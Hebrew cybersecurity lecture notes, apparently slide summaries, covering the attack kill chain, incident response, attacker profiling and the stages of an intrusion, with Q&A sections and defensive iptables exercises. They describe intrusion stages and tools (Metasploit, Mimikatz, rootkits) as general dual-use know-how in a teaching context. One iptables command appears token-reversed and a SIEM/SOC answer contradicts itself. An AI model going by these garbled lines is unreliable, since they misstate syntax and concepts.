- מה זה? שלב שבו התוקף מקים ערוץ תקשורת עם המחשב או המערכת שנפרצה כדי לשלוט ולנהל את הפעולות שלו.
- דוגמה: התוקף מפעיל תוכנה לשליטה מרחוק כמו Metasploit או Cobalt Strike כדי לשלוח פקודות למחשב המטרה ולהשתמש בו למטרות זדוניות.
- שלב 8: Stage of Data Manipulation
- מה זה? בשלב זה, התוקף משנה או משבש נתונים כדי להשיג יתרון נוסף, כמו שינוי דוחות פיננסיים או נתוני לקוחות.
- דוגמה: תוקף משנה נתונים במערכת ניהול לקוחות כדי לגרום להפסדים כספיים או להטעות את צוותי התמיכה.
- המשך - ה-Kill Chain המודרני
- 2. טכניקות מתקדמות
- התקפות מבוססות AI

- מה זה? תוקפים משתמשים באינטליגנציה מלאכותית כדי לנתח נתונים ולזהות חולשות במערכות בצורה אוטומטית.
- דוגמה: שימוש באלגוריתמים של למידת מכונה כדי לגלות שיטות התקפה חדשות או לנתח התנהגות משתמשים לצורך אופטימיזציה של התקפות.
- התקפות על הענן Cloud Attacks
- מה זה? תוקפים מפעילים מתקפות על סביבות ענן, ומנצלים חולשות או קונפיגורציות לא מאובטחות של שירותי ענן.
- דוגמה: תקיפת מערכת מבוססת ענן כדי להשיג גישה למידע רגיש המאוחסן באינטרנט.
- התקפות על IoT (Internet of Things)
- מה זה? ניצול חולשות במכשירים מחוברים לאינטרנט, כמו מצלמות רשת או מכשירים חכמים.
- דוגמה: פריצה למצלמה חכמה ולבצע מעקב אחרי פעילות משתמשים
- 3. כלים וטכניקות להגנה
- אמצעים טכנולוגיים:
- חומות אש מתקדמות: שימוש בחומות אש שתומכות בניתוח עומק של תעבורה, כולל בדיקות לפי פרוטוקולים מתקדמים.
- תוכנות לניהול זיהוי ומניעת התקפות IDS/IPS : ניהול כלים לניהול פעילות חריגה ולמניעת התקפות בזמן אמת.
- אמצעים ארגוניים:
- הדרכת עובדים: הכשרת צוותים על סיכוני אבטחה וכיצד לזהות התקפות.
- מדיניות אבטחה: יצירת מדיניות אבטחה כוללת שמטפלת בכל שלב במודל ה-Kill Chain
- הנחות טכנולוגיות:
- הצפנה: הצפנה של נתונים רגישים ומידע מתקדם למניעת גישה לא מורשית.
- ניהול גישה: חיזוק מערכות ניהול גישה כדי לוודא שהגישה למערכות היא רק למורשים.

התאוששות מתקיפה - Incident Response

- התאוששות מתקיפה - Incident Response
- מה זה התאוששות מתקיפה:
- התאוששות מתקיפה מתייחסת לסט של תהליכים וצעדים שמבצע ארגון כדי לזהות, לטפל, ולשחזר ממצב של התקפה או הפרת אבטחה. מטרת התהליך היא למזער את הנזק שנגרם ולהחזיר את הארגון לפעולה תקינה בצורה מהירה ויעילה.

התאוששות מתקיפה

- המשך – התאוששות מתקיפה:

• שלבי התאוששות מתקיפה:

• 1. תכנון וארגון Preparation

• מה זה? שלב שבו הארגון מכין תוכניות פעולה, מיישם מדיניות אבטחה, ומבצע הדרכות לצוותי אבטחה.

• דוגמה: יצירת תוכנית תגובה לאירועים שמפרטת את הצעדים שיש לבצע במקרה של התקפה, כגון ניהול יומני פעילות, הכנת כלים לפיקוח, והדרכת צוותים.

• 2. זיהוי Identification

• מה זה? שלב שבו הארגון מזהה ומאמת שהתרחשה התקפה או אירוע אבטחה.

• דוגמה: צוות האבטחה מקבל התראה ממערכת IDS/IPS על פעילות חריגה ומבצע ניתוח ראשוני כדי לוודא שמדובר בהתקפה אמיתית ולא באירוע שווא.

• 3. תגובה Containment

• מה זה? שלב שבו הארגון נוקט בפעולות כדי לעצור את ההתקפה ולמנוע ממנה להתפשט.

• דוגמה: ניתוק מחשבים מזהמים מהרשת כדי למנוע התפשטות של תוכנה זדונית ושחזור גיבויים.

• המשך שלבי התאוששות מתקיפה:

• 4. תחקור Eradication

• מה זה? שלב שבו הארגון מסלק את הגורם להתקפה ומבצע פעולות לתיקון הבעיות שהתגלו.

• דוגמה: הסרת תוכנות זדוניות מהמחשבים ושדרוג תוכנה שנוצלה במהלך ההתקפה.

• 5. שחזור Recovery

• מה זה? שלב שבו הארגון מחזיר את המערכות לפעולה רגילה ומוודא שאין סיכון נוסף.

• דוגמה: החזרת נתונים מגיבוי ופתיחה מחדש של מערכות שהיו מנותקות בזמן ההתקפה, תוך פיקוח על פעילות לא רגילה.

• 6. למידה ושיפור Lessons Learned

• מה זה? שלב שבו הארגון בוחן את האירוע, מנתח את הלקחים שנלמדו ומבצע שיפורים בתוכניות התגובה לאירועים.

• דוגמה: עריכת ישיבת סיכום עם כל הגורמים המעורבים בהתקפה כדי להבין מה נלמד מהאירוע ולבצע שינויים במדיניות ובתוכניות כדי למנוע התקפות דומות בעתיד.

• דוגמא א: חברת תקשורת גדולה גילתה ביום שישי בערב שהמערכת שלה נפרצה על ידי תוכנה זדונית. שלב התכנון והארגון של החברה כלל תגובה מהירה, ולכן הצוות ידע בדיוק מה לעשות. הם זיהו את ההתקפה באמצעות התראות ממערכת IDS ולאחר מכן נקטו בפעולות מיידיות כדי לנקות את המערכות מהתוכנה הזדונית ולבודד את המחשבים הנגועים. ביום שבת, הצוות שחזר את הנתונים מגיבוי והתחיל בתהליך למידה ושיפור, שהוביל לשיפורים במערכת האבטחה כדי למנוע תקיפות דומות בעתיד.

• דוגמא ב: בחברת פיננסים נתקלו בהתקפה מתואמת שבה נגנב מידע רגיש של לקוחות. בשלב הזיהוי, הצוותים גילו את ההתקפה דרך ניטור פעילות חריגה ברשת. במהלך שלב התגובה, הם מיהרו לנתק את המערכות שנפגעו

ולבצע ניתוח של המידע הנגנב. לאחר סילוק הגורמים להתקפה, הם החזירו את המערכות לפעולה רגילה ושיפרו את מערכות האבטחה בהתאם ללקחים שנלמדו מהאירוע.

• 1. פרטי שלבי ההתאוששות מתקיפה

• תכנון וארגון Preparation

• הקמת צוות תגובה לאירועים: צוות המורכב מאנשי מקצוע כמו מנהלי אבטחת מידע, אנשי IT עורכי דין ואנשי תקשורת.

• הכנת תוכניות פעולה וגיבוי: תוכניות פעולה מפורטות לגיבוי ושחזור נתונים, כולל תיעוד של כל שלב בתהליך.

• ביצוע תרגולים: תרגול התגובה לאירועים בתנאים שונים כדי לוודא שהצוות מוכן למקרי חירום.

• זיהוי Identification

• ניתוח יומני רשת: בדיקה של יומני רשת כדי לזהות תעבורה חשודה או חריגה.

• שימוש בכלים אוטומטיים: כלים כמו SIEM לניתוח ולזיהוי אוטומטי של איומים.

• תגובה Containment

• הגבלת התפשטות התקפה: שמירה על הרשת המקומית או החיצונית כדי למנוע התפשטות.

• הקפאת גישת התוקף: ניתוק המערכת מהאינטרנט או חסימת כתובות IP וחשודות כדי למנוע גישה נוספת.

• המשך פרטי שלבי ההתאוששות מתקיפה:

• תחקור Eradication

• בדיקת מערכות: סריקות להבטחת סילוק כל תוכן זדוני ותוכנה נגועה.

• תיקון חולשות: תיקון כל חולשות שהתגלו במהלך התקפה כדי למנוע התקפות נוספות.

• שחזור Recovery

• שחזור נתונים: החזרת הנתונים הנגועים מגיבוי ותיקון המערכות שנפגעו.

• בדיקות תקינות: לוודא שהמערכות חזרו לפעולה תקינה ושאינן סיכונים נוספים.

• למידה ושיפור Lessons Learned

• דו"ח סיכום: כתיבת דו"ח מפורט על האירוע, התגובה והלקחים שנלמדו.

• הערכת תהליך: ניתוח התהליך והפקת לקחים לשיפור תוכניות אבטחה ותגובה עתידיות.

• 2. טכניקות מתקדמות להתאוששות מתקיפה

• שימוש באינטליגנציה מלאכותית AI

• מה זה? שימוש באלגוריתמים של AI כדי לנתח נתונים ולזהות איומים בצורה אוטומטית ומתקדמת.

• דוגמה: תוכנות AI לניתוח התנהגות המשתמשים ולזיהוי התנהגויות חריגות בזמן אמת.

• התקפות מתואמות APT - Advanced Persistent Threats

- מה זה? התקפות שמבוצעות בצורה מתואמת וממושכת על מנת לחדור למערכת ולהשתלט עליה.
- דוגמה: קבוצת תוקפים המספרת פעולות במהלך תקופה ארוכה, כמו חטיפת נתונים רגישים או זיהוי חולשות מערכות.
- התקפות על מכשירים ניידים Mobile Device Attacks
- מה זה? ניצול חולשות במכשירים ניידים כדי להיכנס למערכות הארגון.
- דוגמה: התקנת תוכנות זדוניות על מכשירים ניידים לגניבת מידע רגיש.
- 3. כלים וטכניקות נוספים
- כלים לניהול סיכונים Risk Management Tools
- מה זה? כלים המיועדים להעריך ולנהל סיכונים במערכות ובארגון.
- דוגמה: כלים לניהול סיכונים כמו RSA Archer שמסייעים בהערכה ומעקב אחר סיכונים פוטנציאליים.
- מערכות ניהול יומנים Log Management Systems
- מה זה? מערכות שמרכזות ומנהלות את כל היומנים של המערכות והאפליקציות.
- דוגמה: כלים כמו Splunk ו-ELK Stack לניהול ולניתוח יומני פעילות.
- תוכנות לניהול אירועים Incident Management Software
- מה זה? תוכנות המסייעות בניהול ותיעוד של אירועים ואיומים.
- דוגמה: פתרונות כמו ServiceNow ו-JIRA לניהול תקלות ואירועים.
- שאלות:
- 1. מהו שלב ה"תכנון וארגון" בתהליך ההתאוששות מתקיפה ומה חשיבותו?
- 2. כיצד ניתן לזהות התקפה או אירוע אבטחה בזמן אמת?
- 3. מהן הפעולות המיידיות שיש לבצע במהלך שלב התגובה Containment ?
- 4. מהו תהליך ה"תחקור" וכיצד הוא מסייע לאחר התקפה?
- 5. כיצד ניתן להשתמש בשלב "למידה ושיפור" לשיפור אבטחת המידע בארגון?
- תשובות:
- 1. שלב התכנון וארגון כולל הכנת תוכניות פעולה והדרכות לצוותי אבטחה. הוא חשוב כי הוא מסייע להכין את הארגון לתגובה מהירה ויעילה במקרה של התקפה.
- 2. ניתן לזהות התקפה על ידי ניטור פעילות חריגה במערכות, קבלת התראות ממערכות IDS/IPS וניתוח יומני פעילות.
- 3. במהלך שלב התגובה, יש לנקוט בפעולות כמו ניתוק מחשבים נגועים מהרשת, חסימת גישת התוקף, ושחזור גיבויים.

- 4. תהליך התחקור כולל הסרת הגורם להתקפה ופתרון הבעיות שהתגלו. הוא מסייע לשפר את האבטחה ולמנוע התקפות דומות בעתיד.
- 5. שלב הלמידה והשיפור כולל ניתוח של האירוע ולקחים שנלמדו ממנו, כדי לשפר את תוכניות התגובה ולהתעדכן בטכניקות ובמדיניות אבטחה חדשות.

נספח - שקופיות תרגול/שאלות (תמצית)

- המשך - עקרונות בסיסיים של iptables / שאלה: מה יקרה אם נחליף את ACCEPT-j ל DROP-j בפקודות הללו?
/ שאלה: מה ההבדל בין פרוטוקול TCP ל-UDP
- המשך - עקרונות בסיסיים של iptables / פעולות Actions ב-iptables: REJECT / חסימת הפקטה והחזרת שגיאה / פעולה זו חוסמת את הפקטה ומחזירה הודעת שגיאה לשולח. / למשל: אם רוצים לחסום תעבורת HTTP ולהחזיר הודעת שגיאה: `sudo iptables -A INPUT -p tcp --dport 80 -j REJECT`
- המשך - עקרונות בסיסיים של iptables / שאלה: נניח שאתה מנהל רשת בחברה והמדיניות היא להגביל את הגישה לאינטרנט כך שרק פורטים ספציפיים יהיו פתוחים. כדי לאפשר גלישה באינטרנט בצורה מאובטחת, תוכל לאשר רק תעבורת HTTP ו-HTTPS?
- המשך - עקרונות בסיסיים של iptables / 2 / `ACCEPT -j 53 --dport udp -p OUTPUT -A iptables / 1. / sudo`
החוק הזה ידחה REJECT תעבורה יוצאת לפורט 22 SSH כולומר, המחשב לא יוכל להתחבר לשרתי SSH חיצוניים. כלומר כאשר חוק זה מופעל, כל פקטה יוצאת שמיועדת לפורט 22 תיבדק מול החוק הזה. אם הפקטה עומדת בתנאי החוק שהיא תעבורת TCP לפורט 22, הפקטה תידחה REJECT והמחשב המקומי יקבל הודעת שגיאה שמצביעה על כך שהתעבורה נדחתה.
- המשך - חומת אש בחומרה: / שאלה: מר לביא, מנהל רשת בחברת הייטק, שם לב כי בתקופה האחרונה החברה סובלת מהתקפות מניעת שירות, DoS, איך הוא יכול להשתמש בחומת אש בחומרה כדי למנוע את ההתקפות הללו?
- חומת אש מבוססת ענן: / פתיחה לחכמה: חומת אש מבוססת ענן היא שירות הממוקם בענן, שמגן על התעבורה הנכנסת והיוצאת ברשת הארגונית. היא מציעה יכולות הגנה מתקדמות, גמישות בניהול וקלות בפריסה, ומספקת מענה לצרכים הדינמיים של עסקים מודרניים. / שאלה: מהי חומת אש מבוססת ענן? / חומת אש מבוססת ענן היא מערכת אבטחת מידע הנמצאת במרכזי נתונים של ספקי ענן כמו AWS, Azure, Google Cloud Platform (GCP) היא משמשת להגן על נכסים ואפליקציות הממוקמים בענן או על תעבורה המגיעה מהאינטרנט ומועברת לארגון.
- המשך - חומת אש מבוססת ענן: / 1. הם יכולים להגדיר חוק ב-AWS WAF שמזהה ומונע ניסיונות SQL Injection והם יכולים להשתמש בפרופיל מוכן של AWS שמזהה חתימות של התקפות SQL Injection וליישם אותו על האפליקציה שלהם. / 2. ניתן להגדיר חוק ב-Azure Firewall שמגביל את הגישה לממשקי הניהול לכתובות IP ומסוימות בלבד, כך שרק כתובות ה-IP של העובדים המורשים יוכלו לגשת.
- המשך - IDS / שאלות: / 1. מה ההבדל בין IDS מבוסס תוכנה ל-IDS מבוסס חומרה? / 2. איך IDS יכול לזהות פעילות חשודה? / 3. מה ההבדל בין IDS ל-IPS (Intrusion Prevention System)? [שאלה שנדע לענות עליה בהמשך]
- המשך - IDS / 1. IDS מבוסס תוכנה פועל על מחשב או שרת, בעוד ש-IDS מבוסס חומרה הוא רכיב פיזי שמנטר את התעבורה ברשת. / 2. IDS משווה נתונים שנאספו למידע אודות התקפות ידועות או חוקים שנקבעו מראש, ומתריע כאשר ישנה פעילות בלתי רגילה. / 3. נענה בהמשך...
- המשך - 1 / IPS. / יתרונות: / 1. מספק הגנה רב-שכבתית. / 2. יכול לזהות ולמנוע התקפות ברמות שונות של הרשת. / 3. מאפשר ניטור מתמיד ותגובה מהירה לאיומים.

• המשך - SOC ו- SOC / 1. SIEM מתמקד בניהול פעולות אבטחה בזמן אמת, בעוד ש-SIEM מספקת את הכלים לניתוח נתונים ולזיהוי איומים. / 2. SIEM מספקת התראות ומידע שמאפשרים ל-SOC לזהות איומים בזמן אמת ולבצע תגובות מותאמות. / 3. צוות SOC מבצע ניתוח של ההתקפה, מגיב בהתאם ומבצע פעולות כמו חסימת התקשרות או ביצוע חקירה מעמיקה. / 4. על ידי ניתוח נתונים מקיף SIEM מסייעת לזהות תבניות התקפה חדשות, לשפר את ההתראות ולספק מידע לשיפור מתמיד של אסטרטגיות האבטחה.

• המשך - NAC / שאלות: / 1. מהו NAC מטרותו המרכזית בארגון? / 2. כיצד NAC מבצע אימות זהות של משתמשים ומכשירים? / 3. מה היתרון של NAC מבוסס סוכן על פני NAC מבוסס סוכן חיצוני? / 4. איך NAC משתלב עם טכנולוגיות כמו SIEM ו-IDS/IPS?

הרצאה 5 - אבטחת מידע וסייבר

הסעיפים מסודרים לפי נושאים (כותרות שקופיות), עם איחוד תכנים שחוזרים על עצמם.

נושאים כלליים

- מרצה: יניב מורדוב
- סוגי פרצות אבטחה וניצולן
- זיוף כתובת MAC/IP
- התקפת אמצע
- Man-in-the-Middle Attack
- התקפת מניעת שירות
- התקפת XSS
- התקפת HTTP Proxy
- Point-and-click metasploit
- התקפות דיוג (Phishing)
- הפעלה זדונית של קבצים Malicious File Execution
- Remote File Inclusion (RFI) להפעיל קובץ מרחוק
- Insecure Direct Object Reference (IDOR)
- Cross-Site Request Forgery (CSRF)

תקיפות

- תקיפות

פרופיל תוקף Attacker Profiling

- פרופיל תוקף Attacker Profiling
- פרופיל תוקף הוא תיאור מפורט של תוקף אפשרי, הכולל מאפיינים פסיכולוגיים, טכניים, וחברתיים, במטרה להבין את המניעים, היכולות והשיטות בהן התוקף עשוי להשתמש. מטרת הפרופיל היא לעזור למגיני המערכות להיערך טוב יותר ולהתמודד עם התקפות פוטנציאליות.
- למה זה חשוב?
- 1. זיהוי מוקדם: הבנה טובה יותר של התוקף מאפשרת זיהוי מוקדם של ניסיונות התקפה.
- 2. תגובה מותאמת: פרופיל מדויק מאפשר למגיני המערכות להתאים את ההגנה ואת התגובה לתקיפה בצורה יעילה יותר.

- 3. מניעה: ידיעת המניעים והיכולות של התוקף יכולה לסייע במניעת התקפות עתידיות.

סוגי תוקפים

- סוגי תוקפים
- האקרים "כובעי שחור": Black Hat Hackers תוקפים שמבצעים פעולות לא חוקיות למטרות רווח אישי, נזק או פרסום.
- סיפור: נועם, האקר כובע שחור, פרץ למערכת של בנק גדול והצליח לגנוב מיליון דולר. הוא השתמש בכסף כדי לחיות חיים מפוארים ולבצע עוד פעולות פליליות.
- האקרים "כובעי לבן": White Hat Hackers מומחים לאבטחת מידע שפועלים בצורה חוקית ומוסרית כדי למצוא ולתקן פגיעויות במערכות.
- סיפור: הרבנית טובה, האקרת כובע לבן, עבדה בחברה לאבטחת מידע וגילתה פרצת אבטחה חמורה במערכת של בית חולים. בזכותה, הפירצה תוקנה והמידע הרפואי של המטופלים נשמר.
- האקרים "כובעי אפור": Gray Hat Hackers תוקפים שפועלים בחלק מהמקרים בצורה חוקית ובחלק אחר לא. לעיתים הם חושפים פרצות אבטחה באופן ציבורי כדי להביא לתיקון מהיר שלהן.
- סיפור: טרבלסי, האקר כובע אפור, מצא פרצה במערכת של רשת חברתית והודיע להם על כך. כשהם לא התייחסו, הוא פרסם את המידע בפורום ציבורי כדי ללחוץ עליהם לתקן את הבעיה.
- האקרים ממניעים פוליטיים: Hacktivists תוקפים שמבצעים פעולות פריצה למטרות פוליטיות, חברתיות או אידיאולוגיות.
- סיפור: קבוצת האקטיביסטים "אנונימוס" פרצה לאתר של ממשלה מושחתת ופרסמה מידע סודי שהראה את השחיתות שלה.

מאפיינים של פרופיל תוקף

- מאפיינים של פרופיל תוקף

- מניעים Motivations

1. פיננסיים: תוקפים שמעוניינים להרוויח כסף, למשל דרך גניבת מידע רגיש, דרישות כופר או מכירת מידע גנוב בשוק השחור.
2. פוליטיים/אידיאולוגיים: תוקפים עם מניעים פוליטיים או אידיאולוגיים, כמו האקטיביסטים שמנסים להשפיע על מדיניות ציבורית או להעלות מודעות לנושאים חברתיים.
3. נקמה: תוקפים שפועלים מתוך רצון לנקום, למשל עובדים לשעבר שמרגישים מקופחים.
4. אתגר/הנאה: תוקפים שמחפשים אתגר או הנאה בפעילות הפריצה עצמה, ללא מניעים כלכליים ברורים.
5. ריגול תעשייתי: תוקפים שמטרתם להשיג מידע סודי על מתחרים כדי להשיג יתרון עסקי.

- המשך - מאפיינים של פרופיל תוקף

- יכולות טכניות Technical Skills

1. מתחילים: תוקפים בעלי ידע בסיסי שמשתמשים בכלים מוכנים מראש.

- 2. מתקדמים: תוקפים בעלי ידע מעמיק יותר שיכולים לפתח כלי פריצה משלהם.
- 3. מומחים: תוקפים ברמה גבוהה מאוד, לעיתים עם תמיכה ממשלתית, שיכולים לבצע התקפות מורכבות ומתוחכמות.

• משאבים (Resources):

- 1. זמן: כמה זמן יש לתוקף להקדיש למתקפה.
- 2. כסף: התקציב שעומד לרשות התוקף לרכישת כלים, שירותים, או מידע.
- 3. תמיכה: האם התוקף פועל לבדו או כחלק מקבוצה, עם תמיכה לוגיסטית וטכנית.
- שיטות עבודה - TTPs - Tactics, Techniques, and Procedures
- פישניג Phishing שליוחת הודעות מזויפות במטרה להשיג מידע אישי או פרטי גישה.
- כופר Ransomware תוכנות שמצפינות את קבצי הקורבן ודורשות כופר כדי לשחררם.
- התקפות DDoS התקפות שמעמיסות על שרתים ומשבשות את פעילותם.
- ניצול פרצות Exploits שימוש בפגיעויות בתוכנה או בחומרה כדי לחדור למערכת.
- הנדסה חברתית Social Engineering שימוש במניפולציות פסיכולוגיות כדי להוציא מידע מאנשים.

כיצד יוצרים פרופיל תוקף?

- כיצד יוצרים פרופיל תוקף?
- תהליך יצירת פרופיל תוקף:
- איסוף מידע Information Gathering
- 1. שימוש בכלי ניטור והאזנה לרשתות Network Monitoring
- 2. ניתוח נתוני לוג Log Analysis ממערכות שונות.
- 3. שימוש במודיעין סייבר Cyber Threat Intelligence ממקורות חיצוניים.
- ניתוח Analysis
- זיהוי דפוסי פעילות חשודים.
- ניתוח מניעים פוטנציאליים של התוקף.
- הערכת רמת היכולות והמשאבים של התוקף.
- בניית הפרופיל Profiling
- יצירת פרופיל מפורט שכולל את כל המידע שנאסף ונותח.
- עדכון מתמיד של הפרופיל על בסיס מידע חדש שמתקבל

דוגמאות לקביעת פרופיל בעולם האמיתי

• דוגמאות לקביעת פרופיל בעולם האמיתי

- 1. קבוצת APT Advanced Persistent Threat קבוצות כמו APT28 המוכרת גם כ-Fancy Bear שמקושרת למודיעין הצבאי הרוסי, מבצעות התקפות ממוקדות ומורכבות נגד מטרות ממשלתיות ועסקיות. הפרופיל שלהן כולל מניעים פוליטיים, יכולות טכניות גבוהות, ומשאבים כמעט בלתי מוגבלים.
- 2. קבוצת Lazarus קבוצה צפון קוריאנית המוכרת בהתקפות סייבר למטרות פיננסיות, כמו הפריצה לבנק המרכזי של בנגלדש ב-2016, שבה ניסו לגנוב 1 מיליארד דולר (הצליחו לגנוב 81 מיליון דולר).
- 3. התקפת SolarWinds ב-2020 נחשפה התקפה רחבת היקף שבה תוקפים הצליחו להחדיר קוד זדוני לעדכוני תוכנה של חברת SolarWinds התקפה זו פגעה בארגונים ממשלתיים ועסקיים רבים, ונחשבת להתקפת ריגול תעשייתי מתוחכמת.

פרופיל תוקף

• המשך – פרופיל תוקף

• שאלות:

- 1. מה הם ההבדלים העיקריים בין האקר כובע לבן?
 - 2. איך ניתן לזהות תוקף פוטנציאלי על בסיס הפרופיל שלו?
 - 3. מה הן השיטות הנפוצות בהן משתמשים תוקפים פוליטיים?
 - 4. איך יכולות חברות להיערך טוב יותר נגד התקפות על בסיס פרופיל התוקף?
- תשובות:

- 1. האקרים כובע שחור והאקרים כובע לבן פועלים בשיטות דומות אך למטרות שונות:
- האקר כובע שחור:

- פועל באופן בלתי חוקי ולרוב ללא הסכמת הארגון או הפרט אותו הוא תוקף.
 - מטרותיו כוללות גניבת מידע, יצירת נזק, גניבת כסף, או פשוט רצון להראות יכולת טכנית.
 - משתמש בפגיעויות ופרצות אבטחה למטרות אישיות או פיננסיות.
 - דוגמאות כוללות פריצות למערכות בנקאיות, גניבת זהויות, והתקפות כופר.
- האקר כובע לבן:

- פועל באופן חוקי ובהסכמת הארגון או הפרט.
 - מטרותיו כוללות שיפור אבטחת המערכות על ידי גילוי ותיקון פגיעויות.
 - מבצע בדיקות חדירה Penetration Testing כדי לגלות נקודות תורפה במערכות ולספק פתרונות.
 - עובד כקבלן עצמאי או במסגרת ארגונים המתמחים באבטחת מידע.
2. זיהוי תוקף פוטנציאלי על בסיס פרופיל כולל הבנת המניעים, השיטות והמאפיינים האישיים של התוקף:

- מניעים:
- תוקפים פיננסיים: מחפשים רווח כלכלי.
- תוקפים פוליטיים: מונעים על ידי אידיאולוגיה או מטרות פוליטיות.
- תוקפים למטרות נקמה: פועלים מתוך תחושת פגיעה אישית או מקצועית.
- שיטות עבודה:
- כלים טכניים ספציפיים: תוקפים מסוימים משתמשים בכלים או תוכנות מסוימות.
- דפוסי תקיפה: שעות הפעילות, המטרות והסגנון של התקפות קודמות.
- מאפיינים אישיים:
- גיל, מיקום גיאוגרפי, ותחומי עניין יכולים לתת רמזים.
- היסטוריה קודמת של פעולות דומות.
- 4. כדי להיערך טוב יותר נגד התקפות על בסיס פרופיל התוקף, חברות יכולות לנקוט במספר צעדים:
 - מודעות ואימון:
 - חינוך והכשרה של העובדים על שיטות התקיפה הנפוצות ועל מניעים של תוקפים פוטנציאליים.
 - ביצוע סימולציות ותרגילים לזיהוי ותגובה לאיומים.
 - ניהול סיכונים:
 - הערכת סיכונים באופן קבוע בהתאם למניעים ולפרופילים של התוקפים.
 - התאמת אמצעי ההגנה לפי רמת הסיכון ומטרות התוקף.
 - שיפור טכנולוגי:
 - שימוש בכלים וטכנולוגיות מתקדמות לזיהוי ונטרול איומים בזמן אמת.
 - עדכון קבוע של מערכות האבטחה ותוכנות האנטי-וירוס.
 - שיתוף פעולה עם גופי אכיפת חוק וקהילת האבטחה:
 - שיתוף מידע על תקיפות ופרופילים של תוקפים עם ארגונים אחרים ועם גופים ממשלתיים.

שלבי ביצוע תקיפה

- שלבי ביצוע תקיפה
- תקיפה בעולם אבטחת המידע מורכבת ממספר שלבים עיקריים:
 1. איסוף מודיעין
 2. סריקה
 3. גישה ראשונית

• 4. השגת אחיזה

• 5. הסלמת הרשאות

• 6. תנועה רוחבית

• 7. ויציאה

• המשך – שלבי ביצוע תקיפה

• שאלות:

• 1. מהם השלבים הקריטיים ביותר בתהליך התקיפה, לדעתך?

• 2. כיצד כל שלב משפיע על הסיכויים של התוקף להצליח?

• 3. מהי החשיבות של מודעות ואימון עובדים בהגנה מפני התקפות?

• 4. אילו כלים וטכניקות יכולים לשמש להגנה על מערכות מפני כל שלב בתקיפה?

שלב 1: איסוף מודיעין Reconnaissance

• שלב 1: איסוף מודיעין Reconnaissance

• בשלב זה, התוקף מלקט מידע על היעד שלו כדי להבין איך ניתן לתקוף אותו.

• סיפור:

• דמיין שאתה תוקף שמנסה לפרוץ לחברת טכנולוגיה גדולה. בשלב זה, אתה תתחיל בחיפוש מידע ציבורי על החברה: מבנה הארגון, כתובות דוא"ל, כתובות IP שמות שרתים, ועוד.

• OSINT (Open Source Intelligence) שימוש במקורות מידע ציבוריים כמו מסמכים רשמיים, דוחות פיננסיים, פרסומים באינטרנט, רשתות חברתיות, ואתרים כמו Shodan כדי לגלות מכשירים מקוונים.

• Footprinting תהליך זיהוי תשתיות רשת, כולל מיפוי כתובות IP זיהוי סוגי מערכות הפעלה ושירותים פועלים.

• דוגמאות:

• Google Dorking שימוש במנועי חיפוש כדי למצוא מידע רגיש על החברה.

• Whois Lookup בדיקת מידע על שמות דומיינים והבעלות עליהם.

• רשתות חברתיות: חיפוש פרופילים של עובדים ופרטי מידע שיכולים להיות מועילים.

שלב 2: סריקה Scanning

• שלב 2: סריקה Scanning

• בשלב זה, התוקף סורק את הרשת והמכשירים של היעד כדי למצוא פגיעויות.

• סיפור:

• לאחר שאספת מידע על חברת הטכנולוגיה, אתה מחליט לסרוק את הרשת שלהם כדי למצוא פתחים אפשריים. אתה משתמש בכלי שנקרא Nmap כדי לסרוק את הכתובות IP שמצאת.

- Wireshark: כלי ניתוח תעבורה שמאפשר לראות את התעבורה ברשת בזמן אמת, כולל פרוטוקולים, חיבורים ונתונים.

- TCP/IP Fingerprinting: זיהוי סוגי מערכות הפעלה ושירותים פועלים על בסיס התנהגות פרוטוקול TCP/IP

- דוגמאות:

- Nmap: כלי סריקה שיכול למצוא פתחים ופורטות פתוחות.

- Nessus: כלי לסריקת פגיעויות שמזהה תוכנות לא מעודכנות ופגיעויות ידועות.

שלב 3: גישה ראשונית Initial Access

- שלב 3: גישה ראשונית Initial Access

- בשלב זה, התוקף מנסה לקבל גישה למערכת של היעד.

- סיפור:

- נניח שמצאת פורט פתוח עם שירות ישן ופגיע בשרת של החברה. אתה משתמש בפרצה ידועה כדי לקבל גישה ראשונית למערכת.

- Exploit Kits: חבילות כלים המכילות קוד שמנצל פגיעויות ידועות לדפדפנים ותוכנות נפוצות.

- Social Engineering: שימוש במניפולציה פסיכולוגית כדי לגרום למשתמשים למסור מידע רגיש או לבצע פעולות מסוכנות.

- דוגמאות:

- פישיונג: שליחת הודעות דוא"ל מזויפות כדי לגרום למשתמשים לספק מידע רגיש או להתקין תוכנה זדונית.

- ניצול פגיעויות: שימוש בפגיעויות ידועות בשירותים או תוכנות לא מעודכנות.

שלב 4: השגת אחיזה Establishing a Foothold

- שלב 4: השגת אחיזה Establishing a Foothold

- בשלב זה, התוקף מבסס את הגישה שלו למערכת כדי להבטיח שהוא יוכל להישאר במערכת גם אם מתגלים.

- סיפור:

- אחרי שקיבלת גישה ראשונית לשרת, אתה מתקין תוכנה זדונית כמו rootkit שתאפשר לך לחזור למערכת גם אם יתגלו וינטרלו את הכניסה הראשונית שלך.

- Command and Control (C2): מערכות שמאפשרות לתוקף לשלוט על מכשירים שנפגעו ולבצע פעולות מרחוק.

- Persistence Mechanisms: שיטות להבטחת המשך גישה למערכת, כמו התקנת שירותים אוטומטיים או שינוי קבצי מערכת.

- דוגמאות:

- Rootkits: תוכנות זדוניות המסתתרות במערכת ומאפשרות גישה חבויה.

- Backdoors: פתחים סודיים במערכת שמאפשרים גישה גם לאחר סגירת הפגיעות הראשונית.

שלב 5: הסלמת הרשאות Privilege Escalation

- שלב 5: הסלמת הרשאות Privilege Escalation
- בשלב זה, התוקף מנסה להשיג הרשאות גבוהות יותר במערכת כדי לשלוט על יותר משאבים ולהיות בלתי נראה.
- סיפור:
- כדי להבטיח את השליטה שלך, אתה משתמש בפרצה נוספת שמאפשרת לך להפוך למנהל מערכת Administrator וכך להשיג שליטה מלאה על השרת.
- Kernel Exploits: ניצול פגיעויות בליבת מערכת ההפעלה כדי להשיג הרשאות גבוהות יותר.
- Password Spraying: ניסיון להתחבר עם סיסמאות נפוצות למשתמשים רבים כדי למצוא חשבון עם הרשאות גבוהות.
- דוגמאות:
- Exploiting Misconfigurations: ניצול תצורות שגויות במערכת להשגת הרשאות גבוהות יותר.
- Password Cracking: פיצוח סיסמאות של משתמשים בעלי הרשאות גבוהות.

שלב 6: תנועה רוחבית Lateral Movement

- שלב 6: תנועה רוחבית Lateral Movement
- בשלב זה, התוקף נע בין המערכות השונות ברשת כדי להשיג מטרות נוספות.
- סיפור:
- עכשיו כשאתה מנהל מערכת, אתה מחפש גישה למערכות נוספות ברשת. אתה מוצא מחשב נוסף שמחזיק במידע רגיש ומעתיק אליו את התוכנה הזדונית שלך.
- Mimikatz: כלי לזיהוי והרצה של סיסמאות במערכת Windows
